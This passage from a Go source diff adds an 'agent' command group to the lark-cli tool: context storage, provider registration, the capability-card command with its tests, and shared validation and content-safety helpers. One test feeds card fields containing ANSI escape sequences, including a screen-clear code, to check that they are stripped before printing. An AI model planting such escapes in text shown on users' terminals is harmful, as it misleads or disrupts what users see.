func (s *memoryStore) getContext(agentID, ctxID string) (*agent.ContextDetail, error) {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
ctx, ok := s.Contexts[ctxID]
if !ok || ctx.AgentID != agentID {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 context id '%s'example:%s 名下不存在)", ctxID, agentID).
WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
}
updatedAt, taskCount, awaiting, active := s.contextRollupLocked(ctx)
detail := &agent.ContextDetail{
ContextID: ctx.ContextID,
CreatedAt: ctx.CreatedAt,
UpdatedAt: updatedAt,
Title: ctx.Title,
TaskCount: taskCount,
AwaitingInput: awaiting,
}
if active != nil {
summary := taskSummaryOf(active.Task)
detail.ActiveTask = &summary
}
return detail, nil
}
// deleteContext deletes a context and its tasks (a destructive operation, already gated by --yes in the command layer).
func (s *memoryStore) deleteContext(agentID, ctxID string) error {
s.mu.Lock()
defer s.mu.Unlock()
s.loadLocked()
ctx, ok := s.Contexts[ctxID]
if !ok || ctx.AgentID != agentID {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知的 context id '%s'example:%s 名下不存在)", ctxID, agentID).
WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
}
for _, tid := range ctx.TaskIDs {
delete(s.Tasks, tid)
}
delete(s.Contexts, ctxID)
return s.saveLocked()
}
// ── Derived rollups (the enriched-summary provider side) ──
// summaryMaxRunes is the rune budget for a task Summary — a one-line content
// digest, not full content. Truncation is rune-safe so a multibyte character is
// never cut in half.
const summaryMaxRunes = 100
// contextRollupLocked derives a context's summary fields from its tasks (the
// caller must already hold the lock). updatedAt is the newest task updated_at,
// falling back to the context's created_at when it has no tasks; awaitingInput is
// set when any task sits in input_required/auth_required; active is the task with
// the latest updated_at (ties broken by creation order so it is deterministic),
// nil when the context is empty.
func (s *memoryStore) contextRollupLocked(ctx *contextRecord) (updatedAt string, taskCount int, awaitingInput bool, active *taskRecord) {
updatedAt = ctx.CreatedAt
for _, tid := range ctx.TaskIDs {
rec, ok := s.Tasks[tid]
if !ok {
continue
}
taskCount++
if rec.Task.UpdatedAt > updatedAt { // fixed-width RFC3339 UTC ⇒ lexicographic == chronological
updatedAt = rec.Task.UpdatedAt
}
if isAwaiting(rec.Task.State) {
awaitingInput = true
}
if active == nil || rec.Task.UpdatedAt > active.Task.UpdatedAt ||
(rec.Task.UpdatedAt == active.Task.UpdatedAt && rec.Seq > active.Seq) {
active = rec
}
}
return updatedAt, taskCount, awaitingInput, active
}
// isAwaiting reports whether a state is paused waiting on the caller (the
// awaiting_input rollup bit).
func isAwaiting(state agent.TaskState) bool {
return state == agent.StateInputRequired || state == agent.StateAuthRequired
}
// taskSummaryOf projects a stored task into its list/active summary, carrying the
// timestamp and the one-line content digest alongside the identity fields.
func taskSummaryOf(task agent.AgentTask) agent.TaskSummary {
return agent.TaskSummary{
TaskID: task.TaskID,
ContextID: task.ContextID,
State: task.State,
IsTerminal: task.IsTerminal,
UpdatedAt: task.UpdatedAt,
Summary: taskSummaryText(task),
}
}
// taskSummaryText is the one-line content digest: the pending prompt for a task
// awaiting input, otherwise the last agent message's text. It returns RAW text
// (only rune-truncated) — ANSI-stripping + flattening for pretty/TSV is the
// command layer's job, and it is empty when nothing is available.
func taskSummaryText(task agent.AgentTask) string {
if task.InputRequired != nil && task.InputRequired.Prompt != "" {
return truncateRunes(task.InputRequired.Prompt, summaryMaxRunes)
}
for i := len(task.Messages) - 1; i >= 0; i-- {
if task.Messages[i].Role != "agent" {
continue
}
for _, p := range task.Messages[i].Parts {
if p.Type == "text" && p.Text != "" {
return truncateRunes(p.Text, summaryMaxRunes)
}
}
}
return ""
}
// truncateRunes cuts s to at most max runes (rune-safe, no character split). It
// does not append an ellipsis: the Summary is meant to be raw text.
func truncateRunes(s string, max int) string {
r := []rune(s)
if len(r) <= max {
return s
}
return string(r[:max])
}

26
agent/register.go Normal file
View File

@@ -0,0 +1,26 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Package agent is the top-level business layer that wires the in-repo agent
// providers into the framework registry (internal/agent). It mirrors the events
// layering: the framework/SPI lives in internal/agent, each concrete provider is
// a declarative agent.Provider value exposed by a package under agent/<scheme>/,
// and this package's init aggregates and registers them. Blank-import this
// package from cmd to populate the provider registry.
//
// To onboard a new provider: add agent/<scheme>/ exposing a Provider() value,
// then add one line to the slice below.
package agent
import (
"github.com/larksuite/cli/agent/example"
iagent "github.com/larksuite/cli/internal/agent"
)
func init() {
for _, p := range []iagent.Provider{
example.Provider(),
} {
iagent.Register(p)
}
}

29
cmd/agent/agent.go Normal file
View File

@@ -0,0 +1,29 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"github.com/spf13/cobra"
"github.com/larksuite/cli/internal/cmdutil"
)
// NewCmdAgent builds the `agent` command group: a provider-agnostic surface
// that drives remote A2A agents with constant verbs. It is a pure group with
// no RunE, so an unknown subcommand is reported rather than silently
// swallowed. All five verbs (list/card/send/task/context) are wired here; task
// and context are themselves nested groups.
func NewCmdAgent(f *cmdutil.Factory) *cobra.Command {
cmd := &cobra.Command{
Use: "agent",
Short: "Drive first-party remote agents (A2A: send / start task / poll / fetch result)",
Long: "Drive Feishu first-party remote agents with a constant verb set. An agent_ref looks like <scheme>:<agent_id> (e.g. example:echo). Read capabilities with `agent card <agent_ref>` first, then pick verbs by capability.",
}
cmd.AddCommand(NewCmdAgentList(f))
cmd.AddCommand(NewCmdAgentCard(f))
cmd.AddCommand(NewCmdAgentSend(f, nil))
cmd.AddCommand(NewCmdAgentTask(f))
cmd.AddCommand(NewCmdAgentContext(f))
return cmd
}

34
cmd/agent/agent_test.go Normal file
View File

@@ -0,0 +1,34 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import "testing"
// TestAgentCommandTree pins the shape of the `agent` command tree: the group
// itself must have no RunE/Run (a bare group whose unknown subcommands surface
// an error rather than being silently swallowed), and it must expose all five
// verbs plus the nested task/context sub-groups.
func TestAgentCommandTree(t *testing.T) {
cmd := NewCmdAgent(nil)
if cmd.RunE != nil || cmd.Run != nil {
t.Error("agent group should not have RunE (otherwise it conflicts with unknownSubcommandGuard)")
}
want := []string{"list", "card", "send", "task", "context"}
for _, name := range want {
if findSub(cmd, name) == nil {
t.Errorf("missing subcommand %s", name)
}
}
// task/context are nested groups
if task := findSub(cmd, "task"); task == nil {
t.Error("missing agent task group")
} else if findSub(task, "get") == nil {
t.Error("missing agent task get")
}
if ctxCmd := findSub(cmd, "context"); ctxCmd == nil {
t.Error("missing agent context group")
} else if findSub(ctxCmd, "delete") == nil {
t.Error("missing agent context delete")
}
}

183
cmd/agent/card.go Normal file
View File

@@ -0,0 +1,183 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"fmt"
"io"
"strings"
"github.com/spf13/cobra"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/output"
)
// cardOptions holds all inputs for `agent card <ref>`.
type cardOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Ref string
As string
Format string
}
// NewCmdAgentCard builds `agent card <ref>`: fetch and display an agent's
// capability card. Adapters synthesize the card statically from their known
// capability matrix — no API call is made, and the command works offline /
// under mock. Risk=read.
func NewCmdAgentCard(f *cmdutil.Factory) *cobra.Command {
opts := &cardOptions{Factory: f}
cmd := &cobra.Command{
Use: "card <agent_ref>",
Short: "Show a remote agent's capability card (capabilities / parameters / identity)",
Long: "Fetch and show an agent's capability card. Use its capabilities to decide which verbs are available and its parameters to decide the --param a send needs. Some providers synthesize the card statically without calling the remote API.",
Args: exactArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
return agentCardRun(opts)
},
}
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
if f != nil {
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
} else {
// f is nil only in construction-time unit tests; register a bare --as so
// the flag surface is still assertable without a Factory.
cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
}
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// agentCardRun resolves the provider addressed by ref and emits its capability
// card. The card is first-party static data (not agent-generated content), so
// it bypasses content-safety scanning. The JSON success envelope is the
// default; --format pretty opts into the human-readable listing. A --jq
// expression forces JSON (jq operates on the envelope) and, when present,
// filters stdout.
func agentCardRun(opts *cardOptions) error {
f := opts.Factory
// Resolution is fully offline (no client), so `agent card` works before
// config init. The capability matrix + static metadata are always available.
prov, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Best-effort remote enrichment: if a client is configured, pass a runtime so
// a provider's Describe can fill Name/Description from the platform; otherwise
// rt stays nil and BuildCard returns the offline (caps + static) card.
var rt iagent.Runtime
if r, rerr := runtimeFor(f, id, agentID); rerr == nil {
rt = r
}
card := iagent.BuildCard(opts.Cmd.Context(), prov, spec, agentID, rt)
jq := jqExpr(opts.Cmd)
// pretty is a human view only; a --jq expression implies structured JSON,
// so it takes precedence over the pretty format.
if opts.Format == "pretty" && jq == "" {
printCardPretty(f.IOStreams.Out, card)
return nil
}
env := output.Envelope{
OK: true,
Identity: string(id),
Data: card,
Notice: output.GetNotice(),
}
if jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// printCardPretty writes a compact human-readable view of an agent card:
// identity header (with per-identity preconditions), the sorted capability
// matrix, declared parameters and skills — the key constraints an AI reads
// from json must also be visible to a human. Remote cards carry
// agent-controlled Name/Description/Desc
// strings, so every such field is ANSI-stripped before hitting the terminal.
// Nil cards degrade to a placeholder line rather than panicking.
func printCardPretty(w io.Writer, card *iagent.AgentCard) {
if card == nil {
fmt.Fprintln(w, "(no card)")
return
}
// Dynamic cards carry a Name; static cards fall back to the provider label.
name := card.Name
if name == "" {
name = card.ProviderLabel
}
fmt.Fprintf(w, "%s (%s)\n", stripANSI(name), card.AgentID)
if card.Description != "" {
fmt.Fprintf(w, " %s\n", stripANSI(card.Description))
}
if len(card.Identity) > 0 {
ids := make([]string, 0, len(card.Identity))
for _, spec := range card.Identity {
id := string(spec.Type)
if spec.Precondition != "" {
id += "(前置: " + stripANSI(spec.Precondition) + ""
}
ids = append(ids, id)
}
fmt.Fprintf(w, " identity: %s\n", strings.Join(ids, ", "))
}
fmt.Fprintln(w, " capabilities:")
// Capabilities is a closed struct; iterate in fixed alphabetical key order,
// matching the sorted output of the earlier map-based representation.
for _, k := range []string{
iagent.CapArtifactDownload,
iagent.CapContextDelete,
iagent.CapContextGet,
iagent.CapContextList,
iagent.CapFileInput,
iagent.CapInputRequired,
iagent.CapTaskCancel,
iagent.CapTaskGet,
iagent.CapTaskList,
} {
mark := "no"
if card.Supports(k) {
mark = "yes"
}
fmt.Fprintf(w, " %-20s %s\n", k, mark)
}
if len(card.Parameters) > 0 {
fmt.Fprintln(w, " parameters:")
for _, pr := range card.Parameters {
req := ""
if pr.Required {
req = " (required)"
}
fmt.Fprintf(w, " %s: %s%s", pr.Name, pr.Type, req)
if pr.Desc != "" {
fmt.Fprintf(w, " — %s", stripANSI(pr.Desc))
}
fmt.Fprintln(w)
}
}
if len(card.Skills) > 0 {
fmt.Fprintln(w, " skills:")
for _, sk := range card.Skills {
name := sk.Name
if name == "" {
name = sk.ID
}
fmt.Fprintf(w, " %s\n", stripANSI(name))
}
}
}

286
cmd/agent/card_test.go Normal file
View File

@@ -0,0 +1,286 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"bytes"
"context"
"encoding/json"
"strings"
"testing"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// cardTestOpts builds a cardOptions driving agentCardRun against a real
// (test) Factory. The example card is synthesized statically, so no API call
// is made and stdout carries the capability card envelope.
func cardTestOpts(t *testing.T, ref string) (*cardOptions, *core.CliConfig) {
t.Helper()
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := resolveCmd(t, true, "bot") // reuses the common_test.go helper (--as=bot)
return &cardOptions{Factory: f, Cmd: cmd, Ref: ref, As: "bot", Format: "json"}, cfg
}
// TestAgentCardRun_ExampleStaticCard verifies that `agent card example:echo`
// returns the statically synthesized capability card (no API), with
// task_cancel gated off and the three context_* caps on, and the agent_id
// echoed from the ref.
func TestAgentCardRun_ExampleStaticCard(t *testing.T) {
opts, _ := cardTestOpts(t, "example:echo")
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card should be statically synthesized and not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v", err)
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
data, ok := env.Data.(map[string]interface{})
if !ok {
t.Fatalf("data should be a card object, got %T", env.Data)
}
if data["agent_id"] != "echo" {
t.Errorf("agent_id should echo the ref, got %v", data["agent_id"])
}
if data["provider"] != "example" {
t.Errorf("provider should be example, got %v", data["provider"])
}
// source was removed from the card (schema tightening).
if _, present := data["source"]; present {
t.Errorf("card should no longer carry a source field, got %v", data["source"])
}
caps, ok := data["capabilities"].(map[string]interface{})
if !ok {
t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
}
if caps["task_cancel"] != false {
t.Errorf("echo task_cancel should be false, got %v", caps["task_cancel"])
}
if caps["context_list"] != true || caps["context_get"] != true || caps["context_delete"] != true {
t.Errorf("echo should support the three context capabilities, got %v", caps)
}
// parameters / identity must serialize as non-null (guard against omitempty
// regression): parameters is always an array (empty [] for example),
// identity is a non-empty array.
if params, ok := data["parameters"].([]interface{}); !ok {
t.Errorf("parameters should be a non-null array, got %T (%v)", data["parameters"], data["parameters"])
} else if len(params) != 0 {
t.Errorf("example parameters should be an empty array, got %v", params)
}
if ids, ok := data["identity"].([]interface{}); !ok || len(ids) == 0 {
t.Errorf("identity should be a non-null non-empty array, got %T (%v)", data["identity"], data["identity"])
}
// card no longer exposes scope: the required_scopes field was removed from
// AgentCard (scope is an internal registration item used only for preflight).
if _, present := data["required_scopes"]; present {
t.Errorf("card should no longer carry a required_scopes field, got %v", data["required_scopes"])
}
}
// TestAgentCardRun_PrettyFormat verifies that with --format pretty (opt-in
// since the json default flip), the card renders as a human-readable listing.
// The output must surface the identity and capability names in plain text so
// the stream is not valid envelope JSON.
func TestAgentCardRun_PrettyFormat(t *testing.T) {
opts, _ := cardTestOpts(t, "example:echo")
opts.Format = "pretty"
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card pretty should not error: %v", err)
}
text := string(out.Bytes())
// A pretty rendering is human text, not a JSON envelope.
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Fatalf("pretty format should not output a JSON envelope: %s", text)
}
if !strings.Contains(text, "echo") {
t.Errorf("pretty output should contain agent_id: %s", text)
}
// context_list is a declared capability of the echo card; it must appear.
if !strings.Contains(text, "context_list") {
t.Errorf("pretty output should list capabilities: %s", text)
}
}
// TestAgentCardRun_JSONFormat pins that --format json still emits the envelope.
func TestAgentCardRun_JSONFormat(t *testing.T) {
opts, _ := cardTestOpts(t, "example:echo")
opts.Format = "json"
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentCardRun(opts); err != nil {
t.Fatalf("card json should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("json format should be a valid envelope: %v (%s)", err, string(out.Bytes()))
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
}
// TestAgentCardJqFlagRegisteredAndConsumed pins the quality-review fix: the
// --jq flag must actually be REGISTERED on `agent card` (the run path already
// called jqExpr/JqFilter, but without the flag `--jq` was an unknown-flag
// exit 2 — and the skill doc teaches AI to copy `card ... --jq`). Executed via
// the real command so registration + consumption are proven together.
func TestAgentCardJqFlagRegisteredAndConsumed(t *testing.T) {
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
cmd := NewCmdAgentCard(f)
cmd.SetOut(&bytes.Buffer{})
cmd.SetErr(&bytes.Buffer{})
cmd.SetContext(context.Background())
cmd.SetArgs([]string{"example:echo", "--as", "bot", "--jq", ".data.agent_id"})
if err := cmd.Execute(); err != nil {
t.Fatalf("card --jq should not error: %v", err)
}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
got := strings.TrimSpace(string(out.Bytes()))
if !strings.Contains(got, "echo") || strings.Contains(got, `"ok"`) {
t.Errorf("--jq .data.agent_id should output only the filtered result, got %q", got)
}
}
// TestPrintCardPretty_NilCard pins that a nil card degrades to a placeholder
// line instead of panicking (card.go nil branch).
func TestPrintCardPretty_NilCard(t *testing.T) {
out := &bytes.Buffer{}
printCardPretty(out, nil)
if !strings.Contains(out.String(), "(no card)") {
t.Errorf("nil card should print a placeholder line, got: %q", out.String())
}
}
// TestPrintCardPretty_AllOptionalFields exercises every optional-field branch of
// the pretty renderer that a minimal static card omits: the dynamic-card Name
// (taking precedence over ProviderLabel), Description, declared Parameters, and
// the Skills block (both the named skill and the id-fallback when Name is empty).
func TestPrintCardPretty_AllOptionalFields(t *testing.T) {
card := &iagent.AgentCard{
Provider: "demo",
ProviderLabel: "demo 自定义智能体",
Name: "Demo Agent", // only dynamic cards have Name; it should override ProviderLabel
AgentID: "agt_demo",
Description: "a helpful demo agent",
Identity: []iagent.IdentitySpec{
{Type: "user"},
{Type: "bot", Precondition: "需加入渠道白名单"},
},
Capabilities: iagent.Capabilities{
ContextList: true,
TaskCancel: false,
},
Parameters: []iagent.CardParam{
{Name: "locale", Type: "string", Required: true, Desc: "reply locale"},
},
Skills: []iagent.CardSkill{
{ID: "sk_1", Name: "Sales Analysis"},
{ID: "sk_2"}, // no Name → falls back to ID
},
}
out := &bytes.Buffer{}
printCardPretty(out, card)
text := out.String()
for _, want := range []string{
"Demo Agent (agt_demo)", // dynamic Name takes precedence over ProviderLabel
"a helpful demo agent", // Description branch
"identity: user, bot", // IdentitySpec types are joined
"需加入渠道白名单", // identity precondition must be visible in pretty (Task 11 wrap-up)
"locale", // Parameters branch
"skills:", // Skills block header
"Sales Analysis", // skill with a Name
"sk_2", // skill without a Name → id fallback
} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
}
// TestPrintCardPretty_StripsANSIFromRemoteFields pins that a remote card's
// agent-controlled Name/Description cannot smuggle ANSI escapes to the
// terminal (this sanitization is applied to every pretty surface).
func TestPrintCardPretty_StripsANSIFromRemoteFields(t *testing.T) {
card := &iagent.AgentCard{
Provider: "demo",
AgentID: "agt_demo",
Name: "\x1b[31mEvil\x1b[0m Agent",
Description: "desc\x1b[2Jwipe",
}
out := &bytes.Buffer{}
printCardPretty(out, card)
text := out.String()
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences in remote card fields must be stripped: %q", text)
}
if !strings.Contains(text, "Evil Agent") || !strings.Contains(text, "descwipe") {
t.Errorf("readable text should remain after stripping, got: %q", text)
}
}
// TestPrintCardPretty_StaticFallsBackToProviderLabel pins that a static card
// (no dynamic Name) renders its ProviderLabel as the header.
func TestPrintCardPretty_StaticFallsBackToProviderLabel(t *testing.T) {
card := &iagent.AgentCard{
Provider: "demo",
ProviderLabel: "demo 自定义智能体",
AgentID: "agt_demo",
}
out := &bytes.Buffer{}
printCardPretty(out, card)
if !strings.Contains(out.String(), "demo 自定义智能体 (agt_demo)") {
t.Errorf("should fall back to ProviderLabel when Name is empty, got:\n%s", out.String())
}
}
// TestAgentCardRun_InvalidRef surfaces a malformed ref as a validation error
// before any provider is built.
func TestAgentCardRun_InvalidRef(t *testing.T) {
opts, _ := cardTestOpts(t, "no-colon")
if err := agentCardRun(opts); err == nil {
t.Fatal("malformed ref should error")
}
}
// TestNewCmdAgentCard_ReadRiskAndArgs pins ExactArgs(1), read risk, and the
// presence of --format and --as flags.
func TestNewCmdAgentCard_ReadRiskAndArgs(t *testing.T) {
cmd := NewCmdAgentCard(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
t.Errorf("agent card should be marked read risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{}); err == nil {
t.Error("agent card missing ref should report an argument error (ExactArgs 1)")
}
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
t.Errorf("agent card with a single ref should be valid: %v", err)
}
fl := cmd.Flags().Lookup("format")
if fl == nil {
t.Fatal("agent card should have a --format flag")
}
// Default output format is unified: card default flips from pretty to json.
if fl.DefValue != "json" {
t.Errorf("card --format default should flip to json, got %q", fl.DefValue)
}
if cmd.Flags().Lookup("as") == nil {
t.Error("agent card should have an --as flag")
}
}

355
cmd/agent/common.go Normal file
View File

@@ -0,0 +1,355 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Package agent implements the `agent` command tree: a provider-agnostic
// surface over remote A2A agents. This file holds the shared
// command-layer helpers: ref→provider resolution, --param validation against a
// Card, success-envelope emission, capability gating, and wait/watch polling.
package agent
import (
"context"
"errors"
"fmt"
"io"
"strings"
"time"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// supportedIdentities is the identity whitelist enforced for every agent
// command; provider cards advertise (a subset of) the same set.
var supportedIdentities = []string{string(core.AsUser), string(core.AsBot)}
// sleep is the package-level, test-injectable backoff sleep. It blocks for d or
// until ctx is done, returning true if the full duration elapsed and false if
// ctx was canceled first. Tests swap it for a no-op.
var sleep = func(ctx context.Context, d time.Duration) bool {
t := time.NewTimer(d)
defer t.Stop()
select {
case <-t.C:
return true
case <-ctx.Done():
return false
}
}
// resolveSpec is the fully-offline resolution path: it resolves the effective
// identity, enforces the user|bot whitelist, and looks up the AgentSpec
// addressed by ref — WITHOUT constructing a client or touching the network. It
// is the FIRST step of every verb, so a malformed ref, an unknown scheme /
// unknown catalog id, AND a capability gate all surface at exit 2 BEFORE the
// config gate — an unconfigured user still gets the precise error, not
// not_configured. A real API verb then calls runtimeFor to build the client.
func resolveSpec(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (iagent.Provider, *iagent.AgentSpec, string, core.Identity, error) {
id := f.ResolveAs(cmd.Context(), cmd, core.Identity(asStr))
if err := f.CheckIdentity(id, supportedIdentities); err != nil {
return iagent.Provider{}, nil, "", "", err
}
prov, spec, agentID, err := iagent.LookupSpec(ref)
if err != nil {
// ParseRef / unknown-scheme / unknown-id errors carry the validation
// wording; promote them to a typed validation error (with a recovery hint)
// so RunE never returns a bare error and the exit code / subtype are stable.
return iagent.Provider{}, nil, "", "", wrapRefResolveError(err)
}
return prov, spec, agentID, id, nil
}
// runtimeFor builds the identity-pinned Runtime for a verb that actually calls
// the remote API. It requires a configured client (not_configured / exit 3 here
// is correct for a real API call). agentID is the resolved agent this call
// addresses (from the ref), exposed to hooks via rt.AgentID().
func runtimeFor(f *cmdutil.Factory, id core.Identity, agentID string) (iagent.Runtime, error) {
apiClient, err := f.NewAPIClient()
if err != nil {
return nil, err
}
return &cmdRuntime{client: apiClient, as: id, agentID: agentID}, nil
}
// wrapRefResolveError promotes a ParseRef / provider-resolution error to a
// validation typed error (subtype invalid_argument, exit 2) and attaches the
// recovery hint keyed to the failure mode: a malformed ref (no ':' / empty
// half — matched via the ErrInvalidRef sentinel) teaches the <scheme>:<agent_id>
// shape; an unknown scheme points at `agent list` to discover the available
// providers. Both hints are copy-pasteable next steps, not just wording.
func wrapRefResolveError(err error) error {
// LookupSpec's unknown-catalog-id case is ALREADY a typed validation error
// carrying a scheme-scoped hint (`agent list <scheme>`); pass it through
// instead of flattening it via err.Error() and overwriting that hint with the
// generic provider-list one. Only the untyped ParseRef sentinel / unknown-
// scheme errors need wrapping.
if _, ok := errs.ProblemOf(err); ok {
return err
}
e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
if errors.Is(err, iagent.ErrInvalidRef) {
return e.WithHint("agent_ref 形如 <scheme>:<agent_id>,如 example:echo")
}
return e.WithHint("用 lark-cli agent list 查看可用 provider")
}
// cardHint builds the "check the agent card" hint. The ref is user-echoed
// input: when it passes the safeNextRef whitelist the hint carries the
// copy-pasteable command; otherwise it degrades to plain guidance without any
// interpolated command (a ref containing spaces would make the command
// non-copy-pasteable, and the hint is what an AI copies verbatim).
func cardHint(ref, what string) string {
if safeNextRef(ref) {
return fmt.Sprintf("运行 lark-cli agent card %s 查看%s", ref, what)
}
return fmt.Sprintf("查看该 agent 的能力卡片agent card 命令)确认%s", what)
}
// parseAndValidateParams parses `key=value` --param pairs and validates them
// against the card's Parameters declaration: every Required parameter must be
// present, and every provided key must be declared (an undeclared key
// would otherwise be silently dropped by the provider). A pair without '=' (or
// an empty key), a missing required parameter, or an unknown key returns a
// validation typed error (subtype invalid_argument, param "param:<key>")
// whose hint points at `agent card <ref>`. A nil card skips both
// card-driven checks.
func parseAndValidateParams(kvs []string, card *iagent.AgentCard, ref string) (map[string]string, error) {
m := make(map[string]string, len(kvs))
for _, kv := range kvs {
k, v, ok := strings.Cut(kv, "=")
if !ok || k == "" {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"--param 格式应为 key=value得到 %q", kv).
WithParam("--param").
WithHint("以 --param key=value 形式重发")
}
m[k] = v
}
if card != nil {
declared := make(map[string]bool, len(card.Parameters))
for _, p := range card.Parameters {
declared[p.Name] = true
}
// Unknown keys are checked in input order so the reported key is
// deterministic when several are undeclared.
for _, kv := range kvs {
k, _, _ := strings.Cut(kv, "=")
if !declared[k] {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"未知参数 %s该 agent 未声明此参数)", k).
WithParam("param:"+k).
WithHint("%s", cardHint(ref, " parameters 声明"))
}
}
for _, p := range card.Parameters {
if !p.Required {
continue
}
if _, ok := m[p.Name]; !ok {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"缺少必填参数 %s该 agent 要求)", p.Name).
WithParam("param:"+p.Name).
WithHint("%s", cardHint(ref, " parameters 声明"))
}
}
}
return m, nil
}
// emitTask writes a task result: the standard success envelope carrying
// meta.next[] hints for AI callers, or — with format=pretty and no --jq —
// the key:value human view. Because the agent's messages/artifacts are
// untrusted external content, the payload is run through content-safety
// scanning before emission on BOTH paths (and the pretty path additionally
// ANSI-strips agent text). A --jq expression, when the leaf command registers
// one, implies structured JSON and filters stdout.
func emitTask(f *cmdutil.Factory, cmd *cobra.Command, task *iagent.AgentTask, next []output.NextAction, format string) error {
out := f.IOStreams.Out
errOut := f.IOStreams.ErrOut
scan := output.ScanForSafety(cmd.CommandPath(), task, errOut)
if scan.Blocked {
return scan.BlockErr
}
if format == "pretty" && jqExpr(cmd) == "" {
if scan.Alert != nil {
output.WriteAlertWarning(errOut, scan.Alert)
}
printTaskPretty(out, task)
return nil
}
env := output.Envelope{
OK: true,
Identity: string(f.ResolvedIdentity),
Data: task,
Notice: output.GetNotice(),
}
if len(next) > 0 {
env.Meta = &output.Meta{Next: next}
}
if scan.Alert != nil {
env.ContentSafetyAlert = scan.Alert
}
if jq := jqExpr(cmd); jq != "" {
if scan.Alert != nil {
output.WriteAlertWarning(errOut, scan.Alert)
}
return output.JqFilter(out, env, jq)
}
output.PrintJson(out, env)
return nil
}
// scanAndEmitData is the shared scan-then-emit path for the read leaves whose
// payload now carries untrusted agent-authored text — task list
// (TaskSummary.Summary), context list, and context get
// (ContextDetail.ActiveTask.Summary). These used to PrintJson directly and so
// BYPASSED content-safety; like emitTask they now run output.ScanForSafety on
// the payload BEFORE emission on every path: a block returns the typed block
// error, a warn attaches the alert to the JSON envelope (and prints a stderr
// warning on the pretty / jq paths). data is the Envelope.Data payload (and what
// is scanned); meta is an optional *output.Meta (list count, nil for a single
// detail); pretty renders the --format pretty human view and is skipped when a
// --jq expression forces structured JSON.
func scanAndEmitData(f *cmdutil.Factory, cmd *cobra.Command, format string, data any, meta *output.Meta, pretty func(io.Writer)) error {
out := f.IOStreams.Out
errOut := f.IOStreams.ErrOut
scan := output.ScanForSafety(cmd.CommandPath(), data, errOut)
if scan.Blocked {
return scan.BlockErr
}
if format == "pretty" && jqExpr(cmd) == "" {
if scan.Alert != nil {
output.WriteAlertWarning(errOut, scan.Alert)
}
pretty(out)
return nil
}
env := output.Envelope{
OK: true,
Identity: string(f.ResolvedIdentity),
Data: data,
Meta: meta,
Notice: output.GetNotice(),
}
if scan.Alert != nil {
env.ContentSafetyAlert = scan.Alert
}
if jq := jqExpr(cmd); jq != "" {
if scan.Alert != nil {
output.WriteAlertWarning(errOut, scan.Alert)
}
return output.JqFilter(out, env, jq)
}
output.PrintJson(out, env)
return nil
}
// jqExpr reads the --jq flag value if the leaf command registered one; absent
